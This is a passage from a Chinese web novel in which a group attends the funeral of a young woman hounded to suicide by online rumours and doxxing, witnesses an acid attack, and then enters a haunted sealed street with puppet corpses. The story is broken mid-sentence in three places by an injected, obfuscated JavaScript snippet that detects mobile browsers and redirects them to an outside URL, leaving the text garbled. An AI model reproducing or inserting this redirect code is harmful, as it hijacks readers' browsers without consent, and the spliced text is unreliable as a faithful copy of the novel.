“他们不认识我们,来的人有很多他们都不认识。”——洪钟的声音从耳机里传来,让蹲在周围密切关注着殡仪馆的卫斯诚稍微松了口气。 “请问,你们也是自发来为成俐送行的朋友吗?” 握完手,一个扎着丸子头的女孩向三人走了过来,她手里提着一个装满白菊的花篮,袖上别着一块白布。 “是。”姜泠点头。 “那你们也拿支花吧。”女孩抽出三支白菊分别递过去,看到洪钟,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149366|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不无敬佩地说,“谢谢你们!自己还带着伤呢,就来参加她的葬礼,谢谢你们!” “应该的,应该的。” 等女孩走了,洪钟转头问身后的两个人,“她是不是什么社会人物啊?刚才那姑娘说‘自发’,会不会是什么见义勇为的英雄一类的人啊。” “小诚,去查查看。”姜泠今天穿的外套是中式的,外套衣襟上别着一朵珍珠白花胸针,兼具录音和对话功能。 老殡仪馆没有空调,通风也不好,加上来的人越来越多,在场众人无一不觉得厅内空气浑浊。上午九点半,哀乐响彻整个大厅,追悼会开始了,在沉重的氛围下,本来就闷的思菊厅更让人觉得头昏脑胀。 刚才在门口致谢的丈夫此刻站在人群中间念悼词,妻子则垂手站在他身旁,在家人的搀扶下不停抹泪。 悼词总结逝者的一生,二十二岁的年轻人在她短暂的一生中,多数时候都在按部就班地上课、升学,然后成为父母嘴里会埋怨嗔怪,但提起来还是带点小骄傲的孩子。一篇悼词,寥寥几句,说不上是总结了二十二年的人生,还是留下了年轻生命的遗憾。 追悼会结束,殡仪馆的工作人员推着遗体和家属一起走进了厅后,留下一众前来悼念的人低声议论。 “太可惜了。”有人说。 “是啊,年纪轻轻得了抑郁症,听说治了好久都没治好,最后还是走了。”另一个人附和。 “最可恨的是那些跟风骂她的,这么优秀的女孩子,就是被那些烂人活活逼死的!” “有的人自己过得不幸福,然后就去攻击别人,最后人家被他们逼死了,他们还觉得自己无辜!” …… 前来悼念的人们你一言我一语讨论着今天的主角,语气表情中不是惋惜就是气愤。 “我们准备了车在外面,请大家移步天地大酒店吃席!”不久,逝者的亲戚从后面走了出来,引导着厅内众人往外走。 与此同时,卫斯诚给凌岓发来一个压缩包,又对着耳麦说,“老洪还真没猜错,这姑娘的确是个新闻人物。不过她的事情太多,我把资料整合发过去了,你们有空看看。” “老洪说还要自己解压,麻烦。反正现在来看,也不是什么鸿门宴,他让你跟我们一起去吃席。”转述完讯息,凌岓成为了两边的传话筒。 天地大酒店也是老城区的老牌酒店了,但相比之下,还是比殡仪馆要“与时俱进”许多。 成俐的父母家人没打算收份子钱,今天这场宴席完全是为感谢自发悼念的众人而设的。但来的人也都不是占便宜的主,大多数人都选择把份子钱硬塞给那对夫妇。卫斯诚来的迟,又没参加追思会,是以多塞了点钱在信封里。 就在这时,意外发生了。 不知从哪冲出来一个人,这人拨开人群,手里捏着一个瓶子,对准追思会上给众人送花的姑娘就是一泼。见状,有人出于本能避开,也有人惊叫着摔倒在地。 说时迟那时快,离被袭击的女孩最近的卫斯诚一把将人拽过来,因为用劲儿太大,两个人一起摔在地上,但总算没让她被泼到。 事发突然,凌岓下意识护在洪钟和姜泠面前。现下趁着泼液体的人也在愣神,他赶紧上前将那人的胳膊反拧起来制服住。姜泠也循着声音把师弟和姑娘扶起来。 “哎哟我的天,有纸没有。”——刚刚摔倒的时候,卫斯诚刚好撞到姑娘的胳膊肘上,这一肘捣得他鼻血直往外冒。 “我这儿有,我这儿有!”女孩从包里拿出一张纸递给对方,连连弯腰道,“谢谢您,谢谢您!” 好好的一场宴席被这个意外打断,成俐的父母正赶过来看情况时,民警也拨开人群过来了。 “带回去带回去!”年长的那个民警从凌岓手里接过作案人,态度严厉。 “你们方便的话也跟我们走一趟,做个笔录。”另一个稍显年轻的警察把地上的瓶子放进证物袋里,态度温和。 42. 第四十二章 饭没吃进嘴里,能体验到派出所短时游也算一种缘分。好在凌岓和姜泠不是第一次来做笔录了,再进来的时候也没有太大心理负担。跟警察叔叔实话实说,很快“目击证人”们就“回到自由身”了。 年轻的民警送几人出门时,还很热情地聊了一句,“幸亏你们躲得及时,要不然我们就要去医院里看你们了。” “为什么这么说?”因为坐着轮椅的缘故,洪钟得到了“特别照顾”——一杯热茶和一块蛋糕。 “据嫌疑人交代,他那个瓶子里装的是硫酸。不过到底是不是,得等化验结果出来才知道。但总之你们反应够快,没被里面的东西溅到就是好事儿。” 走出派出所几十米后,送白花的姑娘有些不好意思地看着卫斯诚,“今天谢谢你。要不是你,我可能真就毁容了。还有,对不起啊,把你鼻子都弄青了。” “小事儿,见义勇为嘛。”青鼻子揉了揉自己的鼻梁骨,暗自庆幸没骨折,“你家在哪儿,要不然我们送你回去吧。” “不用啦…” 女孩子想拒绝,却听见姜泠说,“走吧,我们一起吃点饭,然后送你回去。今天这个人朝你泼硫酸,还不知道是不是你结了什么仇家,万一回去路上再遇到什么呢?” 闹了这么一出,几个人也都没心思再回去吃席了,街边随便一家炒菜馆就成了他们裹腹的第一选择。 正是中午吃饭的时候,菜上得也慢,趁着等菜的功夫闲聊几句,还真让几人从这女孩口中得到了些信息。 送花的姑娘叫裴心,24岁,禾城本地人,以前从事心理咨询行业。据她所说,她并不认识今天追悼会的逝者成俐,充其量只能算是网友。 “那你们为什么来祭奠她?”洪钟不解,“现在的网友这么热心了吗?” “你们不上网吗?”裴心被问得一头雾水,对这个问题的提出者也很好奇。 “上网,但每天发生那么多事儿,这个小姑娘是谁我哪能记得清啊…” “哦,那我从头开始跟你们讲吧。”裴心觉得洪钟这话说的也没错,便决定给新认识的这几个人完整说一遍事情的经过。 裴心是在半年多前刷帖子的时候关注到了成俐,严格来说,成俐就是那篇帖子的主人公。 “震惊!女大学生为傍相差五十岁的老富豪抛弃七年男友,男友为其跳楼却仍未能挽回爱情!” “女大学生”、“相差五十岁”、“老富豪”、“抛弃七年男友”、“男友自杀”…… 裴心不得不承认,这种buff叠满的狗血标题确实很博人眼球,甭管信不信,总是会让人想点进去看一眼的。 正如听故事的众人料想的那样——死者成俐就是那个帖子通篇谴责的“女大学生”。 原帖的博主并没有直接点明成俐的名字,却在帖子里发布了大量关于她的生活照和莫须有的聊天记录,然后又用一副受害人的语气谴责她嫌贫爱富,出于好奇的围观网友登时便“怒了”。 那些生活照打码打得并不很厚,把图片放大看,很轻易就能认出照片的主人公。再加上原帖中的“成某”和博主“无意间”透露出的其他信息,“神通广大”的网友们很快就扒出了成俐的真实信息。 从社交软件到追星软件,成俐的网名、姓名、手机号码、在读院校和家庭信息被人扒得一干二净。成千上万条阴阳怪气和辱骂的评论涌入她的生活帖,逼得她不得不把所有平台的帖子、留言都删干净。甚至于即便打开了平台的“一键防护”功能,她也仍然会收到无数个辱骂私信。 成俐起初觉得很迷茫,她想要解释那篇帖子里说的并不是真的,可每次一发言,收到的辱骂和攻击只会越来越多。久而久之,她干脆不再搭理这些事情,并试着注销掉一些账号。 然而,陌生人的恶意并未随着账号的注销而一并消除,骚扰电话和攻击短信在她的账号关闭后接踵而来,甚至已经影响到了她家里人的工作。 成俐开始尝试通过法律途径来解决问题,但信谣传谣的人太多,就连警方也很难采取及时有效的措施,只能告诉她先收集和保留证据。 刚毕业的学生从未见识过这种事情,铺天盖地的恶意将她淹没,在收集证据时看到的那些令人发毛的语句终于压垮了她的精神。 “她爸妈带她来找我老师做心理咨询的时候,我才认出她就是那个帖子里的姑娘。” 说到这里,裴心无比愧疚——她“围观”的时候也曾在原帖下面评论过一句“6啊”。再回想起来,她觉得自己这种看客一般的娱乐语气又何尝不是射向受害者的利箭呢? 在和成俐聊天的过程中,裴心了解到:原帖的照片大部分都是P的,照片里所谓的“老富豪”也只是成俐的亲人而已。至于抛弃男友那更是无稽之谈——成俐连恋爱都没谈过,又哪来的男朋友一说。 除此之外,这个姑娘还曾发布过一段澄清视频,把自己那些照片的拍摄背景和从未谈过恋爱的事实说得清清楚楚;就连警方也曾帮助她发过公告,并同时封禁过一些账号。 但这些都于事无补,谣言非但就此打住,反而尘嚣直上—— 有人开始攻击成俐的家庭背景,编造出她家有权有钱的谎言;还有人造她私生活上的谣言,“我有一个朋友和她是同学”成为这些发言的标配句式……更有甚者,直接半夜三更跑来敲成家的门,吓得一家子都不得安宁。 凡此种种,都让原本开朗活泼的年轻女孩变得焦虑不安,难以入睡。 “我老师给她开的药都是处方药,剂量已经很大了。可她的抑郁症还是越来越严重,到最近两个月,她已经出现了严重的厌食和自残倾向。” “我其实一开始没太关注这个事儿,我以为那篇帖子就是博流量的。或者只是小情侣闹掰了,在网上发对方不好的,没想到后面会闹出那么大的事儿来。” 在和当事人聊完之后,裴心也想成为帮助她的一员。她和成俐的家人、朋友一起收集证据,期望有一天能让这些到处传谣的人得到惩罚,让年轻的姑娘重新看到生活的美好。 “我们都没想到她会跳河,月底来复诊的时候,我老师说她比以前好一点了。我问她现在睡眠怎么样,她也说比以前好。” 想起最后一次见到成俐,裴心难过不已——最后一面,一直都苦着脸的成俐难得对她露出了一个笑容,那个笑容就像雨后的阳光一样温暖,能让看到的人记一辈子。 “我查到的也是这些,但是我看警方发布声明之后,舆论其实好一点了。就包括她这两天去世的消息一出来,大部分网友其实还是向着她的。” 卫斯诚压缩包里的内容和裴心说的大差不差,但他还是怀疑裴心是不是夸大其词了。 “向着她?猫哭耗子假慈悲!”洪钟气得饭都吃不下去了。 “赞同。”姜泠表示赞同,“一场集体狂欢罢了,事情真相究竟如何他们根本不在意。他们只想借着这种机会发泄自己的情绪罢了。说什么向着她,都是幌子。” “那你为什么也会被盯上?”鼻子上的淤青隐隐作痛,卫斯诚不解。 “被殃及了嘛。我帮她说话,人家就把我们看成一伙的,认定我也不是什么好鸟。” 裴心家住在和老城区交界的新区,离这儿并不是很远。饭后,卫斯诚和姜泠负责送她回去,凌岓和洪钟则回了医院。 出于工作原因,现在的房子是裴心租住的。这个小区是新区最早一批建成的高层之一,每栋楼十八层,一梯四户,1804门牌下的边户就是裴心家。 出了电梯走到尽头,先映入眼帘的是一堵和周边墙体颜色不太协调的墙面。墙面左右都安了摄像头,看得出来房主人对门口来往的人并不太放心。 进了防盗门以后还有一扇铁门,铁门上的漆被刮掉了好几块,也不知是年头太久还是住的人不太爱惜。 “进来喝点水吧。”裴心热情地带着人进门。 一进去,卫斯诚就看见客厅里放着大包小包和几个箱子,桌子上还摆着一把菜刀和一把水果刀。 “你要搬家啦?”来客顺手掂量掂量桌子上的刀,暗想:还挺有分量。 “对,要搬家了。大后天找人把门收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168638|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾,然后就搬。”裴心把纸杯子放在空空的茶几上,又数了数客厅的箱子数量。 “搬家好啊,有需要帮忙的说一声。”卫斯诚看见沙发旁靠着两根钢制棒球棍,忍不住问,“你这些东西,都是用来防身的?” “对呀,都是用来防身的。我自己一个人住,不安全嘛。” “那门是怎么了?掉漆掉成那样的确实很少见。” “嗨,之前有人来我家门口刷漆,隔壁邻居帮忙报警以后那人就被叫去喝茶了,但门口的红漆还得我自己处理。” “你以前就遇上过这种事儿?那还不防着点!” “防啦,这不是加了一道防盗门嘛!但现在你也看到了,这种事情防不胜防,人也不能不出门把自己憋死啊。” …… 正说着,门外传来一阵剧烈的砸门声。卫斯诚一个蹦子跳起来,问了句“谁呀”,却迟迟无人应答。 “别管了,就是闲人来吓唬我的。”裴心看了看手机监控,对这种事情习以为常,“反正我已经见识过什么‘开盒’、什么‘人肉搜索’了,又不止这一次。” “这你都能忍?” “那不然怎么办?报了警,人家说自己走错门了,我还能说什么?” “这些人也太过分了,不如找人把他们打一顿。” “算了算了,反正明天从阳市回来就搬走了,被这种烂事缠着也没意思。”大概是看多了各种精神状态和心理状态不佳的例子,裴心本人倒很看得开。 “阳市?你明天也要去阳市?”另一人捕捉到了关键词。 “也?看来你也要去。” “对,我们也去,去参加第二场葬礼。”提起去阳市的目的,卫斯诚换上一副愁眉苦脸的表情。 “不会那么巧吧…”裴心从手机里翻出一张图片给对方看,“你们去的不会也是他家的吧?” “八月十五日…李易…”卫斯诚一个字一个字念完图片里的讣告,又翻了翻洪钟那张请柬的照片,答道,“还真是,真是同一个人。” “这种事情还能碰见两次,真不知道是善缘还是孽缘。”裴心被这些巧合逗笑了,一时也不知道该怎么说。 “你别告诉我明天的李易也是什么社会新闻里的受害者吧。”虽说见惯了巧合,卫斯诚还是有些不安。 “…那倒不是。这个李易也是以前来找我做过咨询的病人,人还不错。”裴心抿着嘴想了想才给出回答,似乎有些难言之隐。 “哦,那就好。”卫斯诚站起身告别,“不打扰你休息了,明天见吧。这是我电话,有要帮忙的地方随时联系。” 翌日一大早,在主治医生幽怨的眼神中,洪钟又被推上了车。姜泠跟他再三保证绝不会有大的颠簸,这才逃过被叨叨的命运。 “那边儿安排人了吗?”行至高速路口的收费站,洪钟突然冒出来这么一句。 “今天没有。”司机小卫回答他,“我们托阳市的朋友问过了,请柬上给的地址就是很普通的殡仪馆,没什么大问题。而且从昨天的情况来看,追悼会也是正常的。” “倒不是说不信你,就是不知道为嘛,我今天浑身上下起鸡皮疙瘩,总觉得有大事儿要发生。”这句话本来也没什么,可配上洪钟说相声一样的口音,就让人听得想笑。 “放心吧。到了地方我们先进去,万一真是鸿门宴,我们仨绝对集中一切力量保护好你!”凌岓信誓旦旦地保证。 八月十五日,阳光正好,车开进阳市的时候万里无云,是十几天都难见到的大晴天。 进到市里,众人跟着导航软件找殡仪馆所在地,结果在几条没车没人的路上绕了七八圈也没找到地方,无奈之下,车上的人只好下去问路。 “音槽路44号就在前面,从这个路口下去,一直往前走就到了。”路过的老大爷笑眯眯地指路。 “谢谢大爷!”凌岓回到车上,隐隐觉得哪里不对,却又说不上来。 车子按照指路人给的方向往前开,身后那位指路大爷笑眯眯的表情在目送车辆离开后,立马换成了一脸凶毒。 43. 第四十三章 音槽路 驶过指路人说的路口,一直往前走,迎面撞上一堵灰蒙蒙的墙。墙两侧坐落着老弄堂里常见的两三层独栋小楼,墙上的水泥还没干,留下几道深深浅浅的痕纹。 这条路刚够一辆越野车卡着通过,绝没有掉头的空间。见状,卫斯诚只好看着后视镜倒车。 “滴——滴——滴-滴-滴-滴滴滴…”越野车发出报警,提示司机后面有障碍物,无法继续往后倒。 “这后面嘛也没有啊,你车坏了?”洪钟以一种极为别扭的姿势朝后看,却只看到一条空荡荡的路。 “往后倒着试试?”凌岓提议。 卫斯诚照办,结果是“砰”一声——两边的后视镜闪起黄灯,车载系统的报警声不断,车里的人跟着一震——车子实打实撞上了什么东西。 “我下去看看。”提出继续后倒这个建议的人拉开车门,示意司机小卫往前开一点。 凌岓蹲在车屁股后面左看右看:越野车的后保险杠被刮掉了一大片黑漆;尾灯的灯罩上有几道蜘蛛网一样的纵向裂痕;地上有两条急刹车留下的车辙印;唯独刚刚撞车的地方一眼看去,什么都没有。 “撞上什么了?”车下的人一回到车上,洪钟就迫不及待地问。 “没东西,别说障碍物,连个瓶盖子都没有。”凌岓耸耸肩答道。 “难道是鬼打墙?”卫斯诚自言自语,“鬼打墙不是这个表现吧。” “我去看看。”简简单单四个字说完,姜泠也跳下车去。 “她能看见什么?”洪钟这下更着急了,努力伸长脖子想要搞清楚车下的人在干什么。 姜泠心里默念数字,约莫着快靠近撞车点时,抬手向前——果然碰到一个硬物。她又从左到右一寸一寸地摸过去,数着脚下步子快到二十时,被人一把拉住。 “再走就到人家家里去了。”凌岓一边说,一边打量着眼前的暗红色小楼。 “你摸摸看,有堵墙。”被拉住的人反过来握住凌岓的手往前伸,“摸得到,但看不到。” “这是什么原理?” “不清楚,可能类似于你们小说里写的结界吧。”姜泠答,“看来退路是没有了,我们只能往前,或者向两边摸索摸索。” “后面是看不见的墙,前面是看得见的墙,前面就别想了。”洪钟听完姜泠的发现后,颇为苦恼地抓抓脑袋。 “老洪,你见多识广,你知不知道后面那堵看不见的墙是什么东西?”凌岓小心翼翼地避开洪钟缠着纱布的十指,把他手放下来问。 “你得让我想想。” “见多识广”的人把自己肚子里看过的书仔仔细细搜刮了一遍,又完完整整顺了一圈,这才找出一个和后墙有些相似的东西来。 “像阴幛。”洪钟说,“传说古人走夜路走到荒坟野岭那种地方的时候,经常会碰到一些奇怪的建筑。这些建筑会挡住人的来路和去路,让身处其中的人与真实的外界相隔绝,这就是阴幛。” “懂了,阴间的屏障。”卫斯诚恍然大悟地点了点头,“那古人怎么出去的?” “别着急啊,我只说‘像’,又没说一定‘是’。”洪钟继续分析。 “首先,阴幛的‘幛’是巾字旁的‘幛’,不是屏障的‘障’。其次,阴幛都是在晚上荒郊野地里才能碰见的,我从没听说过白天碰见这东西的。再次,阴幛里出现的不是墙,而是不属于人间的建筑。” “综上所述,我们遇到的不一定是阴幛,也可能是别的什么玩意儿。” “如果,我们两边的这些楼就不是人间的楼呢?”姜泠也不知道为什么会这么说,她只是顺着洪钟的话考量目前的处境,自然而然就想到了这一层。 “如果不考虑时间的话,也不是没可能。”洪钟回答。 “那假设我们现在就在阴幛里,我们要怎么出去?” “先下车,在那些建筑里面找出路。”洪钟瞥了一眼车窗外的小楼,总觉得它们阴森森的。 暗红色的、灰色的、土黄色的…… 来的时候没注意,现在站到跟前众人才发现,两侧这些小楼看着不一样,实际上除了层数和外墙颜色不同,其他地方都是相似的。 这些有高有矮的小楼并排立着,看上去都有些年头了。一楼大多是挂着门闩的木门,二楼和三楼各带着一个小阳台,阳台上挂着长长的晾衣绳,风一吹,绳子不停晃动。 再往上看,这些小楼最顶层无一例外都有一个小阁楼,阁楼呈方形高高凸起,和小楼的整体有些不太协调。 “这么多,进哪栋?”卫斯诚从近到远数了数,两侧加起来,足有十八栋楼。 “求远不如求近…”洪钟指了指面前的暗红色小楼,“要不就它吧。” “我们进去就行了,你腿脚不方便,在车里呆着等我们。”进门之前,凌岓把唯一的“伤员”塞回车里。 “别吧,我一个人在车里呆着,万一碰上什么那不是更可怕!” “他说的对。”姜泠想了想,又问车上的人,“你想要谁留下来陪你?” “我不挑,你们三位谁都行。”洪钟一听这话,喜笑颜开,“反正别把我一人儿留在车里就行。” “那凌岓留下?”姜泠问。 “我反对!”被点名的人当然是拒绝的。 “那就小诚…” “我更反对!” “那就我留下。”姜泠自觉上车,车上的人反倒不乐意了。 “你留下干嘛呀!你去有什么事还能有点儿照应!要不然就他俩,嘛也不知道,能行吗?”洪钟发自肺腑地着急。 “还是我留着吧。”司机小卫回到了驾驶位上,“我和我姐毕竟有默契,不管里外出什么事都知道怎么和对方打配合、怎么接应。不过还是希望里面没什么大事,外面也没有。” 暗红的楼门虚掩着,隔着一条门缝往里看,只看到黑漆漆的一片。进去之前,凌岓十分礼貌地敲了敲门,确定房子里面无人应答后才轻轻拉门而入。 如果用现在的目光来打量这些房子,那一定是会把它们划分到“老古董”这一范畴内的。 一楼的墙壁上攀爬着黑乎乎的东西,用手电筒照一照才知道那是集体在此打窝的霉点;老式木地板凹凸不平,让人险些摔个四脚朝天。除了每走一步都会发出难听的“吱呀”声外,最关键的是,这地板上也不知道倒了什么东西,一脚踩下去黏糊糊的,粘得人寸步难行。 一楼分布着餐厅、客厅和厨房,但只有厨房装了一扇极小的窗户。几丝天光从这扇唯一的窗户中照进来,效果等同于没有。 墙角挂着大大小小的蜘蛛网,进来的人随便碰到屋内的什么陈设都会溅起一大片呛人的灰尘。餐厅桌子上放着一个蒙菜的塑料罩,罩子四周趴着无数小飞虫的尸体,罩子下面则摞着几个干净的碟子。 鉴于具体出去的方法洪钟也不清楚,因此进来的两人事先做了分工,以找不对劲的机关、摆设为主。 听同伴描述完一楼的陈设和布局后,姜泠觉得奇怪。这家的客厅本来就不宽敞,和餐厅挤在一起也不超过十个平方,再加上客厅本身不透光,可谓说是足够压抑了。 可这家人也不知怎么想的,还要在客厅四个角上分立四根粗长的红木柱子,这样一来,更显得整个空间逼仄无比。 姜泠伸手摸过墙面,在确定墙上没有什么异常的凸起或空心处后,她又转而走向柱子。果然,柱子上有线索。 四根柱子上都雕着图案。东南角的那根上面似乎雕着一条龙形生物,手指摸上去,能摸到细细的鳞片和长长的尾巴;西北角的柱子上雕着一个鸟,这大鸟长着一张尖喙,翅膀也足够大;东北角的柱子上似乎雕着一种植物,姜泠摸到了图案上的根茎和枝叶。 最后是西南角,西南角的那根柱子上似乎刻着一张脸,一张人脸。不用看,光凭触觉就能摸到这张脸上的五官。除此以外,人脸周围还刻着一些密密麻麻的符文。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187690|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌岓走进厨房,试图看清案板上放着的东西,电筒光刚照上去,就听见厨房外面传来一声凄厉的惨叫。 他被这声惨叫惊出一身冷汗,赶忙一个箭步冲出去。结果看见姜泠脚下正踩着一个动弹的活物,叫声正是这活物发出来的。手电筒光从姜泠那张满眼无辜的脸上转移到她脚下,凌岓看见了一只他这辈子见过的最大的老鼠。 这条巨鼠又肥又长,一对儿滴血般的红眼珠子正和打着手电的人对视;肥大的身躯摊在地上,活像一张扭动的毯子。它被姜泠踩在脚下,动弹得艰难,却仍在费劲挣扎,两颗板牙还不忘在地上“笃笃笃”地留下咬痕。 “长得跟黄鼠狼一样,原来是只老鼠。” 凌岓见这老鼠没什么威胁,松了口气,把姜泠往一旁拉了拉,那巨鼠一溜烟儿便不见了。但这么一来,他对眼前人更是佩服得五体投地——他知道她胆子大,可他不知道她这么勇,踩着如此巨大又奇丑无比的老鼠竟然还能保持面无表情。 “大胆同志,一楼什么都没有,我们去二楼看看。”坐实了“姜大胆”的外号,两人又一前一后走上了狭窄逼仄的木楼梯。 或许是由于楼梯悬空的原因,每踩一个台阶,两人脚下都会发出比一楼的地板更响亮的“吱呀”声,这声音如同成了精的朽木嚎啕,难听极了。 这房子看着不算高,连接楼上楼下的窄梯却长且难走。楼梯前半部分还能容得下一个人通过,可越往上,楼梯越窄,身材高大的男人不得不猫着腰侧着身子才能继续前行。 滴答、滴答、滴答——这楼梯后半截的天花板上也不知是什么东西,一滴一滴落下来,打湿了上楼的人的头发和衣领。 男人下意识把手伸向掉落在头发上的东西,结果摸到一手黏兮兮的液体,他刚想说话,就听见了姜泠的声音: “好像是血。” 凌岓一愣,把手凑到鼻子跟前一闻,扑鼻而来的铁锈腥气熏得人作呕,里面还夹杂着一点淡淡的腐臭味。 “看来一楼地上那些黏液也是血,不过到底是猪血鸡血牛血还是人血,就不好说了。”他一边回应着,一边继续往上走,终于来到了二楼。 刚上二楼没往里走几步,打头的男人就被结结实实绊了一个踉跄。 “小心脚下有东西!”差点被绊倒的人自己还没站稳,就冲着他后面的姑娘喊。 闻言,姜泠抬到一半的腿往前伸了伸,跨了过去。 凌岓在心里暗暗把这房子原来的主人吐槽了一遍,又顺势打着光照过去,不想却看到了一条裹着黑布的人腿。 “开了眼了。”他看着那条腿,人都麻了。 “什么东西?”姜泠听出同伴话里的不对劲,问道。 “一条腿,人的腿。” 二楼一扇窗户都没有,整层楼什么也看不见。给出回答的人又把手电朝四个方向扫了一圈,冷汗涔涔—— 一方木桌,两把对放的木椅,还有一张供着神像的香台,上面分别趴着三个人。 “还有三个人。”凌岓对自己刚才的回答进行补充。 “人?活的还是?”姜大胆没觉得有什么可怕的,甚至还想上前摸一摸这些人的身体是热还是凉。 “你别碰,我去看!”凌岓一把拽住身边人,自己走到桌椅香案旁,犹豫了半天才伸出手,“凉的,应该是去世很久了。” “不对劲。”姜泠伸手捏了捏还没干透的衬衫领子,“如果他们去世了很久,这些血早该干了,怎么还会顺着楼梯流下去?” “说不…”凌岓话还没说完,一个阴恻恻的声音从一片漆黑的角落里传来—— “嘿嘿嘿,年轻人胆子这么大呀,两个人就敢上来给他们收尸?” 手电筒光所及之处站着一个头发稀疏的老头,他皮笑肉不笑地看着两个年轻人,眼睛里尽是阴狠怨毒。 凌岓悄悄凑近姜泠耳边,小声对她说,“他穿的好像是寿衣,不知道是人是鬼。” 44. 第四十四章 寿衣老头浑浊的眼球转了转,然后把手抬起来攥紧了什么东西。下一瞬,趴在一旁的三具尸体犹如僵尸一般站了起来,直直扑向姜泠二人。 这三个“人”都是缺胳膊少腿的。譬如现在伸长胳膊扑向凌岓的“人”就少了一条腿,那条腿应该就在楼梯口不远的地方;扑向姜泠的那位则少了一条胳膊,但他却能像蜥蜴一样伸出长长的舌头卷向要攻击的目标。 年轻的好处之一在于动作灵活,所以被袭击的时候,凌、姜二人都能及时躲闪。 “是提线木偶!老登手里拽着线呢,想办法把它弄断。”凌岓趁着和姜泠擦肩的空档,极为快速地给对方嘱咐了这么一句。 僵尸的长舌头又甩过来,满屋乱溅的不明液体发出难闻的腐臭味。姜泠实在觉得恶心,一手撑着木桌翻过去,另一手打开随身携带的匕首对准那根舌头狠狠一划,舌头便“啪嗒”一下掉在了地上。 翻过木桌之后,姜泠和寿衣老头算是面对面了。老头正操控着手里的细线,试图让两具尸体先把凌岓那边拿下。但他没想到,他看不起的这个小姑娘武力值也不赖,现下只得乖乖被她的贴脸袭击弄得措手不及。 “擒贼先擒王,这话一点儿不错。”姜泠那把匕首削断了老头手里的细线,三具尸体立即软趴趴地倒向一边。 “小东西有两子啊。” 寿衣老头的双手被反剪起来,可他似乎还藏着后招。见老头一脸阴毒地扬起嘴角,凌岓暗叫一声不妙,他想把姜泠和老头分开,却已经行动得太迟了。 只见老头把自己的脖子一百八十度转向后面,对准面前的姑娘吐出了什么东西。然后,擒着他的人便和那三具尸体一样,软趴趴地倒了下去。 “姜泠!”凌岓的反应还算迅速,总算没让同伴摔在地上。 “销骨针,销骨针,三针下去失掉魂。”老头纵身一跃跳到了楼梯扶手上,他还是带着一脸恶毒的笑,阴恻恻地说,“可惜了这么漂亮的姑娘,三天以后就要变成我的木偶咯!” 凌岓脱不开身,想回骂两句,那寿衣老头却一闪身不见了。 “姜泠醒醒,醒醒嘿!” 怀里的人紧闭双眼纹丝不动,左颈处扎了三根泛着白光的长针。凌岓不敢轻举妄动,决定先把怀中人带出去再做打算。 洪钟在车里正打盹儿呢,忽然听见卫斯诚大喊了句什么。具体内容他没听清,却看见前排驾驶位上的人风一样跑了下去。 看清楚卫斯诚奔向的是刚从暗红小楼里走出来的人,洪钟的心登时提到了嗓子眼儿。 他拉开车门,恨不能一个纵身扑上去,“怎么回事儿!小姜姑娘怎么地了!” “碰见一个穿寿衣的老登,他搞偷袭,姜泠中了他的暗器,就成这样了。”凌岓一步登上车,小心翼翼地把怀中人平放在后座上。 “我说你怎么让我姐受伤了!你…”卫斯诚气结,想要指责两句,却又觉得指责谁都不占理,“还不如让我去呢!” “老洪,你看看这三根针能取吗?”凌岓急得要命,根本顾不上旁人的怨言。 其实不用多说,洪钟早就看到了姜泠脖颈处的异常。他认真看着已经开始发黑的伤口,想先伸手把三根针拔出来。可使了半天劲儿,那三根针仿佛长进肉里一般拔不出来,直把洪钟急得抓耳挠腮。 “我又不是医生,我上哪儿知道去啊!” “医生…医生!”卫斯诚猛然想起什么,抽出手机就要给谁打电话,“沈医生肯定有办法,她肯定有办法!” 电话那头传来忙音,洪钟垂头丧气地劝道,“别打了,这阴幛里头连只蚊子都进不来,更别说信号了。” “销骨针。”人是越急越乱,如今冷静下来,凌岓反而想起老头临走时说的话了,“那老登说姜泠中了他的销骨针。三天以后就会变成他的木偶,这什么意思?” “销骨针?”洪钟咂吧着嘴,“恁么听着耳熟呢?” “销骨针?那不是骨医用来安置亡魂的东西嘛!”破天荒的,是卫斯诚先想到答案。 “对!就是骨医!”洪钟也想起来了,“我在哪本书上看到过。说是有一位骨医把自己受过伤的骨头剔下来,做成了针。据说这种针一旦扎下去,扎进骨头里面,甭管你是活的死的好的坏的,那三魂七魄里的三魂统统都要被他收走,人也得听他指挥!” “那书里有没有说怎么办?怎么把这三根针弄出来?”凌岓现在没心情听传说和故事,他只迫切地想知道该怎么做能救眼前人。 “这个我也不知道。”洪钟低下头,全是愧疚,“那书里没写,我真的没办法了。” “现在出出不去,人救不了,我们还有什么办法?要不然再进一个房子吧,说不定能再碰见你说的那个死老头子。到时候把他抓住,逼着他给我姐治。”病急乱投医,卫斯诚现在恨不能把这街边的两排小楼全给他夷为平地。 